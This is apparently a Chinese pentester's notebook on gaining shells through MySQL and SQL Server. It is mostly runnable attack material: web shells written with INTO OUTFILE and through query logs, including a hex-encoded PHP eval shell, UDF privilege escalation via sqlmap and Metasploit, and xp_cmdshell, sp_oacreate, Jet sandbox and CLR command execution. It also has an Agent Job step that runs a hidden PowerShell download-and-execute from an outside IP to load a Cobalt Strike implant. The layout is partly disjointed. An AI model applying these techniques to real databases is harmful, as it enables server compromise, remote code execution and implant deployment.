- 关系型
- 非关系型
- mysql getshell
- sqlserver getshell
- 可以在master.dbo.sysobjects中查看xp_cmdshell状态
- 只用判断存在,利用count(*)即可,存在即返回1
- 将1修改为0则为关闭
- xp_cmdshell 被删除可采用xplog70.dll恢复
- 但是,当 c:\Windows\System32\ias\dnary.mdb 或 c:\Windows\System32\ias\ias.mdb 被删除时,命令就会无效了.
- 所以利用以下语句创建一个数据库:(数据库名SysSetup.xml,后缀.xml是自定义,不影响使用.)
- 然后再利用jet.oledb调用SysSetup.xml执行系统命令:
- 之后执行
- 开启数据库服务器配置选项clr enabled
- 开启高级选项
- sp_configure ‘show advanced options’, 1
- RECONFIGURE
- —开启clr enabled 选项
- 开启clr
- sp_configure ‘clr enabled’, 1
- RECONFIGURE
- GO
- —关闭所有服务器配置选项
- —如果存在权限问题,执行下面一段脚本
- 执行命令
- 删除存储过程
关系型
Mysql:3306
SQL Server:1433
Oracle:1521
火鸟:3050
postgresql:5432
DB2:5000
非关系型
Redis:6379
Memcached:11211
MongoDB:27017
mysql getshell
into outfile写shell
前提条件
- 知道网站物理
- 高权限数据库用户(root)
- secure_file_priv 无限制
- 网站路径有写入权限
值 | 说明 |
---|---|
NULL | 不允许导入或导出 |
/tmp | 只允许在 /tmp 目录导入导出 |
空 | 不限制目录 |
在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件 在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
写shell
select '<?php phpinfo(); ?>' into outfile '/var/www/html/1.php';
select 1 into outfile 'F:/7788/evil.php' lines terminated by 0x3C3F70687020406576616C28245F504F53545B2767275D293B3F3E0D0A;
sqlmap -u "http://baidu.com/?id=x" --file-write="D:\note\PentestDB\shell.php" --file-dest="/var/www/html/test/shell.php"
sqlmap -u "http://x.x.x.x/?id=x" --os-shell
日志写shell
前提条件
- 知道网站物理路径
- 高权限数据库用户(root)
- 网站路径有写入权限
没有了secure_file_priv的限制
#开启日志记录
set global general_log = "ON";
set global general_log_file='/var/www/html/info.php';
#往日志里面写入 payload
select '<?php phpinfo();?>';
慢日志写shell
- 知道网站物理路径
- 高权限数据库用户(root)
- 网站路径有写入权限
#开启日志记录
set global slow_query_log = "ON";
set global slow_query_log_file='/var/www/html/info.php';
#往日志里面写入 payload
select '<?php phpinfo();?>' or sleep(10)
UDF
Userdefined function:用户自定义函数
mysql一个拓展接口,可以为mysql添加一些函数
UDF提权细节
- 掌握mysql数据库的账户,从而拥有对mysql的inset和delete权限,以创建和抛弃函数
- mysql有写入文件的权限,即sercure_file_priv的值为空,从而对udf.dll写入相应目录的权利
- 提权之前先拿到高权限的帐号密码
sqlmap自动提权
sqlmap -d "mysql://root:root@192.168.1.11:3306/test" --os-shell
MSF
模块:
exploit/multi/mysql/mysql_udf_payload
Metasploit 自带的动态链接库文件无需解码 二进制内容和sqlmap的一模一样
工作
# 解码 32 位的 Linux 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so
# 解码 64 位的 Linux 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so
# 解码 32 位的 Windows 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll
# 解码 64 位的 Windows 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll
如果Mysql版本大于5.1,udf.dll必须放置在Mysql安装目录的lib\plugin文件夹下面,plugin文件夹默认不存在,需要创建
webshell创建plugin?
Mysql版本小于5.1,windows2000 udf.dll放置在c:\winnt\udf.dll,windows2003放置在c:\windows\udf.dll ```sql show variables like ‘plugin%’; select @@plugin_dir;
— 查看插件目录
![image.png](https://cdn.nlark.com/yuque/0/2022/png/8363097/1647254810414-8a6797c8-9f15-4f21-84cb-d0d8abb812bb.png#clientId=u930775f9-f87e-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=146&id=u4b34ffde&margin=%5Bobject%20Object%5D&name=image.png&originHeight=292&originWidth=986&originalType=binary&ratio=1&rotation=0&showTitle=false&size=220887&status=done&style=none&taskId=ud87ed8d4-637c-43e7-9913-0f32c855078&title=&width=493)
```sql
select @@version_compile_os,@@version_compile_machine;
show variables like '%version_%'
-- 查看mysql版本
上传dll
1.webshell直接上传
2.sqlmap -u "http://localhost:30008/" --data="id=1" --file-write="/Users/sec/Desktop/lib_mysqludf_sys_64.so" --file-dest="/usr/lib/mysql/plugin/udf.so"
3.
# 直接传入路径编码
SELECT hex(load_file('/lib_mysqludf_sys_64.so'));
# 也可以将路径 hex 编码
SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f));
SELECT hex(load_file('/lib_mysqludf_sys_64.so')) into dumpfile '/tmp/udf.txt';
SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f)) into dumpfile '/tmp/udf.txt';
# 直接 SELECT 查询十六进制写入
SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
# 解码十六进制再写入多此一举
SELECT unhex('7f454c4602...') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
https://www.sqlsec.com/tools/udf.html
-- 上传dll到plugin目录以后,[webshell直接放置?]
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
select sys_eval('要执行命令');
问题
选择的udf.dll版本不对
重复加载
sqlserver getshell
面试会提及
mssql权限
服务器级的固定角色 | 说明 |
---|---|
sysadmin | sysadmin 固定服务器角色的成员可以在服务器上执行任何活动。 |
serveradmin | serveradmin 固定服务器角色的成员可以更改服务器范围的配置选项和关闭服务器。 |
securityadmin | securityadmin 固定服务器角色的成员可以管理登录名及其属性。 他们可以 GRANT 、 DENY 和 REVOKE 服务器级权限。 他们还可以 GRANT 、 DENY 和 REVOKE 数据库级权限(如果他们具有数据库的访问权限)。 此外,他们还可以重置 SQL Server 登录名的密码。 重要提示: 如果能够授予对 数据库引擎 的访问权限和配置用户权限,安全管理员可以分配大多数服务器权限。 securityadmin 角色应视为与 sysadmin 角色等效。 |
processadmin | processadmin 固定服务器角色的成员可以终止在 SQL Server 实例中运行的进程。 |
setupadmin | setupadmin 固定服务器角色的成员可以使用 Transact-SQL 语句添加和删除链接服务器。 (使用 Management Studio 时需要 sysadmin 成员资格。) |
bulkadmin | bulkadmin 固定服务器角色的成员可以运行 BULK INSERT 语句。 |
diskadmin | diskadmin 固定服务器角色用于管理磁盘文件。 |
dbcreator | dbcreator 固定服务器角色的成员可以创建、更改、删除和还原任何数据库。 |
public | 每个 SQL Server 登录名都属于 public 服务器角色。 如果未向某个服务器主体授予或拒绝对某个安全对象的特定权限,该用户将继承授予该对象的 public 角色的权限。 只有在希望所有用户都能使用对象时,才在对象上分配 Public 权限。 你无法更改具有 Public 角色的成员身份。 注意:public 与其他角色的实现方式不同,可通过 public 固定服务器角色授予、拒绝或撤销权限 。 |
我们可以通过 is_srvrolemember('xxx')
函数来判断我们当前的服务器角色
返回值 | 描述 |
---|---|
0 | login 不是 role 的成员。 |
1 | login 是 role 的成员。 |
NULL | role 或 login 无效,或者没有查看角色成员身份的权限。 |
sqlmap 中 —is-dba 就是通过如下语句来进行判断的
select is_srvrolemember('sysadmin')
判断是否是sa权限
select is_srvrolemember('sysadmin')
判断是否是db_owner权限
select is_member('db_owner')
判断是否是public权限
select is_srvrolemember('public')
数据库级别
通过在数据库中创建数据库用户并将该数据库用户映射到登录名来授予登录名对数据库的访问权限。
固定数据库角色名 | 说明 |
---|---|
db_owner | db_owner 固定数据库角色的成员可以执行数据库的所有配置和维护活动,还可以删除 SQL Server中的数据库。 (在 SQL 数据库 和 Synapse Analytics 中,某些维护活动需要服务器级别权限,并且不能由 db_owners 执行。) |
db_securityadmin | db_securityadmin 固定数据库角色的成员可以仅修改自定义角色的角色成员资格和管理权限。 此角色的成员可能会提升其权限,应监视其操作。 |
db_accessadmin | db_accessadmin 固定数据库角色的成员可以为 Windows 登录名、Windows 组和 SQL Server 登录名添加或删除数据库访问权限。 |
db_backupoperator | db_backupoperator 固定数据库角色的成员可以备份数据库。 |
db_ddladmin | db_ddladmin 固定数据库角色的成员可以在数据库中运行任何数据定义语言 (DDL) 命令。 |
db_datawriter | db_datawriter 固定数据库角色的成员可以在所有用户表中添加、删除或更改数据。 |
db_datareader | db_datareader 固定数据库角色的成员可以从所有用户表和视图中读取所有数据。 用户对象可能存在于除 sys 和 INFORMATION_SCHEMA 以外的任何架构中 。 |
db_denydatawriter | db_denydatawriter 固定数据库角色的成员不能添加、修改或删除数据库内用户表中的任何数据。 |
db_denydatareader | db_denydatareader 固定数据库角色的成员不能读取数据库内用户表和视图中的任何数据。 |
可通过 is_member('xxx')
函数来判断
mssql 默认数据库
master //用于记录所有SQL Server系统级别的信息,这些信息用于控制用户数据库和数据操作。
model //SQL Server为用户数据库提供的样板,新的用户数据库都以model数据库为基础
msdb //由 Enterprise Manager和Agent使用,记录着任务计划信息、事件处理信息、数据备份及恢复信息、警告及异常信息。
tempdb //它为临时表和其他临时工作提供了一个存储区。
其实我们主要关注的是 master 数据库,master 数据库中记录了所有系统级别的信息例如:登陆的账号、关联的服务器、系统配置,同时 master 数据库中也存储这所有的数据库名以及这些数据库文件的位置
常用语句
select user; // 查看当前数据库拥有者
select db_name(); // 查看当前数据库名
select db_name(0); // 查看第一个数据库
select host_name(); // 查看当前主机名
select @@version; // 查看数据库版本
// 由于 dbo 可省略因此 master.dbo.sysdatabases == master..sysdatabases
// for xml path 可输出所有结果
select name from master..sysdatabases for xml path; // 查询所有数据库
select name from sqli..sysobjects where xtype='u' for xml path; // 查询 sqli 数据库的所有数据表
select name from sqli..syscolumns where id=(select max(id) from sqli..sysobjects where xtype='u' and name='emails') for xml path; // 查询 sqli 数据库中 emails 表中的所有列名
select id,email_id from sqli..emails for xml path; // 查询 emails 中 id、emails_id 的数据
使用xp_cmdshell进行提权
密码获取
sql注入
Select master.dbo.fn_varbintohexstr(password) from master.dbo.sysxlogins where name=’sa’
-
xp_cmdshell
- Mssql数据库服务未降权
- 已获取到数据库密码
```powershell
可以在master.dbo.sysobjects中查看xp_cmdshell状态
select * from master.dbo.sysobjects where xtype=’x’ and name=’xp_cmdshell’只用判断存在,利用count(*)即可,存在即返回1
select count(*) from master.dbo.sysobjects where xtype=’x’ and name=’xp_cmdshell’
exec master..xp_cmdshell “whoami” #默认执行是关闭
EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;
将1修改为0则为关闭
Exec master.dbo.sp_addextendedproc ‘xp_cmdshell’,’D:\xplog70.dll’
xp_cmdshell 被删除可采用xplog70.dll恢复
![image.png](https://cdn.nlark.com/yuque/0/2022/png/8363097/1650786831037-50601448-cfab-42d5-9102-fe858fd62073.png#clientId=u3ff5f443-b630-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=366&id=uc3bffc89&margin=%5Bobject%20Object%5D&name=image.png&originHeight=458&originWidth=1153&originalType=binary&ratio=1&rotation=0&showTitle=false&size=22927&status=done&style=none&taskId=uc23b156b-b466-40b5-ba00-1c90378e3c8&title=&width=922.4)<br />![image.png](https://cdn.nlark.com/yuque/0/2022/png/8363097/1650786837996-f5a4e6aa-592c-446a-b7f5-1ecf925f5286.png#clientId=u3ff5f443-b630-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=310&id=u7c7d4eec&margin=%5Bobject%20Object%5D&name=image.png&originHeight=387&originWidth=1032&originalType=binary&ratio=1&rotation=0&showTitle=false&size=10845&status=done&style=none&taskId=ub33115df-bbbe-462d-8416-af0cc45fca2&title=&width=825.6)<br />![image.png](https://cdn.nlark.com/yuque/0/2022/png/8363097/1650786863032-b8c4c104-825f-4145-a7fb-a03b5ae406a8.png#clientId=u3ff5f443-b630-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=374&id=u5b5f717e&margin=%5Bobject%20Object%5D&name=image.png&originHeight=467&originWidth=946&originalType=binary&ratio=1&rotation=0&showTitle=false&size=13804&status=done&style=none&taskId=ub021480b-8ad8-42b3-964e-1f875bb6ba7&title=&width=756.8)
<a name="A53cT"></a>
### SP_OACREATE-com组件利用
当xp_cmdshell被删除以后,可以使用SP_OACreate
```powershell
#可以在master.dbo.sysobjects中查看SP_OACREATE状态
select * from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'
#只用判断存在,利用count(*)即可,存在即返回1
select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'
#开启组件
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
#执行命令[此方法无回显]
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >d:\\temp\\1.txt'
#可回显方法
declare @shell int,@exec int,@text int,@str varchar(8000);
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'exec',@exec output,'systeminfo'
exec sp_oamethod @exec, 'StdOut', @text out;
exec sp_oamethod @text, 'ReadAll', @str out
select @str
此方法没有回显,故打开webshell查看
观察sharpsqltools,可回显指令
sp_addextendedproc
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumgroups ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_loginconfig ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumerrorlogs ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_getfiledetails ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc Sp_OACreate ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OADestroy ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetErrorInfo ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAMethod ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OASetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAStop ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc xp_regaddmultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletekey ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletevalue ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regenumvalues ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regremovemultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regwrite ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_dirtree ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regread ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_fixeddrives ,@dllname ='xpstar.dll'
通过沙盒执行命令
开启沙盒
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
利用jet.oledb执行命令 ```powershell select * from openrowset(‘microsoft.jet.oledb.4.0’,’;database=c:\windows\system32\ias\dnary.mdb’,’select shell(“whoami”)’)
select * from openrowset(‘microsoft.jet.oledb.4.0’,’;database=ias\ias.mdb’,’select shell(“CMD命令”)’)
但是,当 c:\Windows\System32\ias\dnary.mdb 或 c:\Windows\System32\ias\ias.mdb 被删除时,命令就会无效了.
所以利用以下语句创建一个数据库:(数据库名SysSetup.xml,后缀.xml是自定义,不影响使用.)
declare @hr int declare @object int;declare @property int exec @hr = sp_OACreate ‘ADOX.Catalog’,@object OUTPUT exec @hr = sp_OAMethod @object,’Create’,@property output,’Provider=Microsoft.Jet.OLEDB.4.0;Data Source=SysSetup.xml’
然后再利用jet.oledb调用SysSetup.xml执行系统命令:
select * from openrowset(‘microsoft.jet.oledb.4.0’,’;database=SysSetup.xml’,’select shell(“CMD命令”)’)
<a name="DLU3n"></a>
### 通过Agent Job执行命令
> SQL Server代理是一项Microsoft Windows服务,它执行计划的管理任务,这些任务在SQL Server 2019(15.x)中称为作业。
>
> 此方法适用于服务器开启了MSSQL Agent Job服务
> 并且服务器中当前运行用户账号拥有足够的权限去创建并执行代理作业任务
```powershell
USE msdb; EXEC dbo.sp_add_job @job_name = N'test_powershell_job1' ; EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://192.168.214.129:80/a''))"', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1'; EXEC dbo.sp_start_job N'test_powershell_job1';
#修改开启Ageent Job,执行无回显CobaltStrike生成powershell上线
利用SQL Server CLR
为了满足数据库用户代码访问诸如表和列的数据库对象和数据库管理员代码控制对操作系统资源的访问(如文件和网络访问)的能力,微软在SQL Server2005之后为其引入CLR在MSSQL中运行.NET代码的能力,用户可以在托管代码中编写存储过程(stored procedures)、触发器(triggers)、用户定义函数(user-defined functions)、用户定义类型(user-defined types)、用户定义聚合(user-defined aggregates)等,利用Transact-SQL加载运行托管程序集执行代码。 该功能可以被利用加载恶意托管程序集执行恶意代码,扩展在MSSQL上的攻击能力。 在后续SQL版本中又增加了各种的保护以限制代码可以访问的内容。
- 在sqlserver上能启动CLR并可以创建自定义存储过程
-
创建CLR
使用DLL文件进行创建
CREATE ASSEMBLY AssemblyName from 'DLLPath'
利用文件十六进制流进行创建
CREATE ASSEMBLY AssemblyName from 文件十六进制流
无文件方式
- 装Visual Studio和SQL Server数据库,此次测试使用了VS2015跟SQL2012。
- 创建一个新的SQL Server数据库项目
- 设置项目属性,目标平台修改为需要的目标平台,如SQL Server 2012; 将SQLCLR权限级别修改为UNSAFE;修改.Net 框架版本为自己需要的版本;语言选择C#。
- 右键项目,选择添加->新建项,新建SQL CLR C# 存储过程
- 填入以下测试代码
https://github.com/uknowsec/SharpSQLTools
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
public partial class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void SqlStoredProcedure1 ()
{
// 在此处放置代码
System.Diagnostics.Process process = new System.Diagnostics.Process();
process.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/C whoami > d:\\temp\\1.txt";
process.Start();
}
}
- 填入代码以后进行编译,之后到编译目录下可以看到一个dacpac后缀的文件
- 双击此文件进行解压,将解压出一个名为mode.sql的文件
- 执行SQL文件中的以下语句 ```powershell CREATE ASSEMBLY [ExecCode] AUTHORIZATION [dbo] FROM 0x4D5A[…snip…] WITH PERMISSION_SET = UNSAFE;
之后执行
CREATE PROCEDURE [dbo].[SqlStoredProcedure1] AS EXTERNAL NAME [ExecCode].[StoredProcedures].[SqlStoredProcedure1]
开启数据库服务器配置选项clr enabled
开启高级选项
sp_configure ‘show advanced options’, 1
RECONFIGURE
EXEC sp_configure N’show advanced options’, N’1’ RECONFIGURE WITH OVERRIDE
—开启clr enabled 选项
开启clr
sp_configure ‘clr enabled’, 1
RECONFIGURE
GO
EXEC sp_configure N’clr enabled’, N’1’ RECONFIGURE WITH OVERRIDE
—关闭所有服务器配置选项
EXEC sp_configure N’show advanced options’, N’0’ RECONFIGURE WITH OVERRIDE
—如果存在权限问题,执行下面一段脚本
alter database [master] set TRUSTWORTHY on EXEC sp_changedbowner ‘sa’
执行命令
EXEC [dbo].[SqlStoredProcedure1];
删除存储过程
DROP PROCEDURE [dbo].[SqlStoredProcedure1]; DROP ASSEMBLY ExecCode
```csharp
using System;
using System.Data;
using Microsoft.SqlServer.Server;
using System.Data.SqlTypes;
using System.Diagnostics;
public class HelloWorldProc
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void HelloWorld()
{
Process.Start("calc");
}
}
#编写文件
csc /target:library C:\helloworld.cs
CLR函数
1. 必须为静态函数
2. 使用CREATE FUNCTION 名称创建函数
3. 可以使用P/INVOKE技术访问非托管代码
4. MSDN参考文档
https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration-database-objects-user-defined-functions/clr-user-defined-functions?view=sql-server-ver15
CLR存储过程
使用CREATE PROCEDURE 名称创建过程
CLR触发器
1. 用户定义的聚合函数
2. 用户定义的类型
访问外部资源
CLR函数可以通过使用.NET Framework中的各种类(System.IO、System.WebServices、System.Sql)来实现,例如访问外部资源,例如文件、网络资源、Web服务、其他数据库等,但需要启用EXTERNAL_ACCESS配置权限集
利用
使用Transact-SQL语句部署
1. 创建一个查询语句并执行
CREATE ASSEMBLY HelloWorld from 'c:\helloworld.dll' WITH PERMISSION_SET = SAFE;
2. 执行实例中创建过程、函数、聚合、用户定义类型或触发器
CREATE PROCEDURE hello
AS
EXTERNAL NAME HelloWorld.HelloWorldProc.HelloWorld
3. 执行
EXEC hello
安全验证失败,SAFE模式下不能创建进程。
CLR集成安全策略
通过指定 PERMISSION_SET 来指三种等级的安全策略。
SAFE
只允许访问内部数据,无法访问外部系统资源,例如文件、网络、环境变量或注册表。
EXTERNAL_ACCESS
可以访问外部系统资源,可以对外发起网络请求。
UNSAFE
微软推荐使用SAFE权限, 对于EXTERNAL_ACCESS 程序集默认作为SQL Server服务用户执行。
使用UNSAFE策略加载程序集,我们就拥有FullTrust权限,能对进程内存以及外部资源进行访问。
想要获得UNSAFE策略,需要
1. 启用 CLR strict security
2. 程序集使用证书或密钥加密签名,该证书或密钥具有相应的登录SQL服务器上的权限。或当前数据库具有TRUSTWORTHY属性(设置为ON), 且该数据库在服务器具有UNSAFE ASSEMBLY权限
移除之前的assembly
drop procedure hello
drop assembly helloworld
尝试直接使用UNSAFE策略
ALTER ASSEMBLY [HelloWorld] from 'c:\helloworld.dll' WITH PERMISSION_SET = UNSAFE;
报错
重新开始,将当前数据库设置为 TRUSTWORTHY
ALTER DATABASE master SET TRUSTWORTHY ON;
CREATE ASSEMBLY HelloWorld AUTHORIZATION dbo from 'C:\helloworld.dll' WITH PERMISSION_SET = SAFE;
CREATE PROCEDURE hello
AS
EXTERNAL NAME helloworld.HelloWorldProc.HelloWorld
EXEC hello
实现CMD命令执行
参考MSDN的写法
https://docs.microsoft.com/zh-tw/sql/relational-databases/clr-integration/database-objects/getting-started-with-clr-integration?view=sql-server-ver15
public static void cmd2(SqlString command, out string result)
{
Process proc = new Process();
proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
proc.StartInfo.Arguments = string.Format(@" /C {0}", command.Value);
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.StartInfo.RedirectStandardError = true;
proc.StartInfo.CreateNoWindow = true;
proc.Start();
result = proc.StandardOutput.ReadToEnd().ToString();
result += proc.StandardError.ReadToEnd().ToString();
proc.WaitForExit();
proc.Close();
}
执行Transact-SQL语句
CREATE ASSEMBLY MSSQL from 'C:\MyMSSQL.dll' WITH PERMISSION_SET = UNSAFE;
CREATE PROCEDURE cmd2 @i nchar(4000), @j nchar(4000) OUTPUT
AS
EXTERNAL NAME MSSQL.MSSQL.cmd2
DECLARE @K nchar(4000)
EXEC cmd2 "whoami", @K out
PRINT @K
但这里有一个问题,在尝试执行tasklist等返回字符串结果过长的命令时会出现错误,SQLString不支持存储较长的结果